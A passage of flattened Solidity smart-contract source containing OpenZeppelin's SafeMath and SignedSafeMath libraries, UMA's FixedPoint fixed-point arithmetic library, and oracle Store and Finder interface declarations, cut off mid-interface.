* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/math/SignedSafeMath.sol)
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SignedSafeMath {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
// File contracts/common/implementation/FixedPoint.sol
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an uint, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
// File contracts/oracle/interfaces/StoreInterface.sol
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// File contracts/oracle/interfaces/FinderInterface.sol
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
